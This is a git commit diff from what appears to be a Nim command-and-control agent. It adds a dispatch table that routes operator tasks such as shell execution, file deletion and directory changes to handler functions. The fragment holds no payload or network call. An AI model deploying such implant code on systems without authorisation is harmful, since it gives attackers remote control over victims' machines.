Implemented communication with custom binary structure instead of JSON requests

This commit is contained in:
Jakob Friedl
2025-07-19 16:49:27 +02:00
parent d22ad0bd0c
commit 99f55cc04f
19 changed files with 524 additions and 433 deletions

View File

@@ -1,37 +1,22 @@
import strutils, tables, json
import ../types
import ../agentTypes
import ../commands/commands
import ../../../common/types
import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
dump task
# var taskResult = TaskResult
# let handlers = {
# CMD_SLEEP: taskSleep,
# CMD_SHELL: taskShell,
# CMD_PWD: taskPwd,
# CMD_CD: taskCd,
# CMD_LS: taskDir,
# CMD_RM: taskRm,
# CMD_RMDIR: taskRmdir,
# CMD_MOVE: taskMove,
# CMD_COPY: taskCopy
# }.toTable
let handlers = {
CMD_SLEEP: taskSleep,
CMD_SHELL: taskShell,
CMD_PWD: taskPwd,
CMD_CD: taskCd,
CMD_LS: taskDir,
CMD_RM: taskRm,
CMD_RMDIR: taskRmdir,
CMD_MOVE: taskMove,
CMD_COPY: taskCopy
}.toTable
# Handle task command
# taskResult = handlers[task.command](task)
# echo taskResult.data
# Handle actions on specific commands
# case task.command:
# of CMD_SLEEP:
# if taskResult.status == STATUS_COMPLETED:
# # config.sleep = parseJson(task.args)["delay"].getInt()
# discard
# else:
# discard
# # Return the result
# return taskResult
return handlers[cast[CommandType](task.command)](config, task)